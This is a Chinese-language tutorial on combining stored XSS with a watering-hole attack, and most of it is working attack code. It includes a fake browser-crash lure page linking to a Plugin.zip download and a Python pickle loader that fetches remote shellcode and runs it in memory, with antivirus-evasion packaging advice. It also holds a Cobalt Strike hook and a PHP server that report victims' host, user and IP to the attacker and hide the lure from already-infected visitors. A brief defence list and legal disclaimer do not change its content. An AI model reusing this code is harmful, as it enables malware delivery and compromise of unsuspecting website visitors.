如何利用XSS钓鱼实现水坑攻击
字数 857 2025-08-15 21:33:50
XSS钓鱼实现水坑攻击技术详解
一、概念解析
1. XSS攻击
XSS(跨站脚本攻击)是一种代码注入技术,攻击者能够在受害者的浏览器中执行恶意脚本。XSS不仅限于简单的alert弹窗,还可以实现:
- Cookie窃取
- 会话劫持
- 键盘记录
- 水坑攻击等高级利用
2. 水坑攻击
水坑攻击(Watering Hole Attack)是一种针对特定目标的攻击方式:
- 攻击者分析目标群体的上网行为模式
- 在目标经常访问的网站上植入恶意代码
- 等待目标访问时触发攻击
- 与普通钓鱼的区别在于针对性更强,基于对目标行为的分析
二、攻击前提条件
- 存储型XSS漏洞:能够在目标网站持久化存储恶意代码
- Webshell权限(可选):方便修改网站内容,提高攻击成功率
- 免杀木马:能够绕过杀毒软件检测
- 自动化工具:用于上线通知和自动收杆
三、攻击实现步骤
1. 构造诱导页面
方案一:Chrome崩溃页面模拟
var body = document.body;
var _left = window.innerWidth * 0.3 + 'px';
var _top = window.innerHeight * 0.3 + 'px';
var _height = window.innerHeight;
body.innerHTML = `
<div style="background-color: white;height: ${_height}px">
<div style='position:absolute;top:${_top};left:${_left};height:300px;width:600px;'>
<p><h3>喔唷唷,崩溃啦!</h3></p>
<p style='color:gray'>
显示此网页时出了点问题,请在您的页面上启用显示插件,从而可能会有所帮助。</br>
</p>
<a href='http://39.105.*.*/Plugin.zip'>
<button style='margin-left:85%;height:30px;line-hight:30px;outline:none;border:none;background-color:rgb(26,115,232);color:white'>
立即修复
</button>
</a>
</div>
</div>
`;
方案二:Layer弹窗组件利用
layui.use('layer', function() {
var layer = layui.layer;
layer.open({
type: 1,
skin: 'layui-layer-rim',
area: ['420px', '240px'],
content: '自定义诱导内容'
});
});
注意:使用Layer需要先引入相关JS库
2. 木马免杀技术
反序列化+分离免杀方案
import pickle
import base64, requests
shellcode = """
import ctypes,urllib.request,codecs,base64
resp = requests.get("http://39.*.*.*/shellcode.txt")
base64_code = resp.content
shellcode = base64.b64decode(base64_code)
shellcode = codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
"""
class AAAA(object):
def __reduce__(self):
return (exec, (shellcode,))
ret = pickle.dumps(AAAA())
ret_base64 = base64.b64encode(ret)
ret_base32 = base64.b32encode(ret)
print(ret_base32)
print(ret_base64)
打包注意事项
- 避免使用pyinstaller(易被杀毒软件检测)
- 推荐使用py2exe
- 只需附带libffi-7.dll即可运行
3. 自动化上线通知系统
Cobalt Strike插件配置
on beacon_initial {
$webhook = "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=<KEY>";
$externalIP = replace(beacon_info($1, "external"), " ", "_");
$computerName = replace(beacon_info($1, "computer"), " ", "_");
$userName = replace(beacon_info($1, "user"), " ", "_");
$message = 'New Bot Online: \n\n Computer name:'.$computerName.'\n\nUsername:'.$userName.'\n\nexternalIP:'.$externalIP;
$xssApi = "http://39.*.*.*/xss.php?ip=".$externalIP;
@curl_command = @('curl', '-X', 'GET', $xssApi);
exec(@curl_command);
}
PHP服务端实现
<?php
$xssPayload = file_get_contents("eval1.js");
$db = "botIPs.txt";
$ip = $_SERVER["REMOTE_ADDR"];
$botIP = @$_GET['ip'];
if ($botIP != 'NULL') {
echo $botIP;
}
if (!is_null($botIP)) {
$bots = fopen($db, "a") or die("Unable to open bots file!");
fwrite($bots, base64_encode($botIP) . "\n");
fclose($bots);
$url = 'https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=<KEY>';
$data = array("msgtype" => "text", "text" => array("content" => "New Bot Online:" . $botIP));
$postdata = json_encode($data);
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
$result = curl_exec($ch);
curl_close($ch);
print_r($result);
} else {
if (file_exists($db)) {
$line = file_get_contents($db);
$botIPs = explode("\n", $line);
}
if (@in_array(base64_encode($ip), $botIPs)) {
header('Content-type: text/javascript');
echo "var hb;";
} else {
header('Content-type: text/javascript');
echo $xssPayload;
}
}
?>
四、攻击流程总结
- 漏洞利用:通过存储型XSS在目标网站植入恶意JS代码
- 诱导设计:精心设计诱导页面,提高用户点击率
- 木马投递:用户点击后下载免杀木马
- 上线通知:木马上线后自动通知攻击者
- 自动收杆:已感染用户不再显示恶意内容,避免重复感染引起怀疑
五、防御建议
- 输入输出过滤:对所有用户输入和输出进行严格过滤
- CSP策略:实施内容安全策略(CSP)限制脚本执行
- 定期审计:检查网站是否存在XSS漏洞
- 员工培训:提高安全意识,警惕异常页面提示
- 杀毒软件:保持杀毒软件更新,检测异常行为
六、法律声明
本文所述技术仅供学习研究使用,未经授权对他人系统实施攻击属于违法行为,后果自负。